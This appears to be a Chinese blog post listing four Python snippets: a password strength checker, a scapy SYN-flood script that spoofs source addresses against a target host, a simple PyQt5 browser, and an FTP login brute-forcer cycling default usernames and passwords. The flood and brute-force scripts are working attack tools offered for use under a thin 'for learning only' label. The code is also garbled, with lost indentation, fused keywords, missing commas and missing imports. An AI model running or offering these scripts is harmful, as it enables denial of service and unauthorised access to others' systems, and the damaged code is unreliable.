当前位置: 欣欣网 > 码农

四个实用Python实例

2024-05-10码农

「1.密码强度检测器」

import re
def password_strength_checker(password):
# 定义密码强度的规则
rules = {
'length'len(password) >= 8,
'lowercase': re.search(r'[a-z]', password) isnotNone,
'uppercase': re.search(r'[A-Z]', password) isnotNone,
'numbers': re.search(r'\d', password) isnotNone,
'special_chars': re.search(r'[^a-zA-Z0-9]', password) isnotNone,
'no_repeats'len(set(password)) == len(password),
}
# 根据规则计算密码强度
strength = 'Weak'
ifall(rules.values()):
strength = 'Strong'
elifany(rules.values()) andnotall(rules.values()):
strength = 'Medium'
# 返回密码强度和未通过的规则
failed_rules = [rule for rule, passed in rules.items() ifnot passed]
return strength, failed_rules
# 示例密码
password = input("Enter your password to check its strength: ")
# 检查密码强度
strength, failed_rules = password_strength_checker(password)
# 输出结果
print(f"Password Strength: {strength}")
if failed_rules:
print(f"Failed Rules: {', '.join(failed_rules)}")
else:
print("Your password passed all the rules!")



「2.Ddos攻击(仅供学习)」

import random
from scapy.all import *
def synFlood(tgt, dPort):
srcList = ['192.168.1.' + str(x) for x in range(1, 255)] # 伪造的源 IP 地址列表
for _ in range(1000): # 发送大量数据包
sPort = random.randint(1024, 65535) # 随机源端口
index = random.randrange(len(srcList)) # 随机选择一个伪造的源 IP
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort, flags="S")
packet = ipLayer / tcpLayer
send(packet, verbose=0) # 发送数据包,verbose=0 表示不显示发送状态
synFlood("192.168.1.100", 80) # 目标 IP 和端口

「3.简单浏览器」

import sys
from PyQt5.QtCore import QUrl
from PyQt5.QtWidgets import QApplication, QMainWindow, QVBoxLayout, QLineEdit, QPushButton, QWidget
class SimpleBrowser(QMainWindow):
def __init__(self):
super().__init__()
self.browser = QWebEngineView()
self.setCentralWidget(self.browser)
self.url_bar = QLineEdit(self)
self.url_bar.returnPressed.connect(self.navigate_to_url)
self.back_button = QPushButton('Back')
self.back_button.clicked.connect(self.browser.back)
self.forward_button = QPushButton('Forward')
self.forward_button.clicked.connect(self.browser.forward)
layout = QVBoxLayout()
layout.addWidget(self.url_bar)
layout.addWidget(self.back_button)
layout.addWidget(self.forward_button)
widget = QWidget()
widget.setLayout(layout)
self.addDockWidget(Qt.LeftDockWidgetArea, widget)
def navigate_to_url(self):
url = self.url_bar.text()
self.browser.load(QUrl(url))
if __name__ == '__main__':
app = QApplication(sys.argv)
browser = SimpleBrowser()
browser.show()
sys.exit(app.exec_())






「4.FTP后台扫描」

import ftplib
# 目标FTP服务器的IP地址或域名
ftp_host = 'your_ftp_server_ip'
# 尝试的用户名列表
usernames = ['admin''user''ftp''guest']
# 尝试的密码列表
passwords = ['admin''123456''password''']
# 函数尝试用户名和密码组合
def try_credentials(user, passwd):
try:
ftp = ftplib.FTP(ftp_host)
ftp.login(user, passwd)
print(f"Success: {user}:{passwd}")
ftp.quit()
except ftplib.error_perm as e:
print(f"Failed: {user}:{passwd} - {e}")
except Exception as e:
print(f"Error: {user}:{passwd} - {e}")
# 遍历用户名和密码列表,尝试每一种组合
for username in usernames:
for password in passwords:
try_credentials(username, password)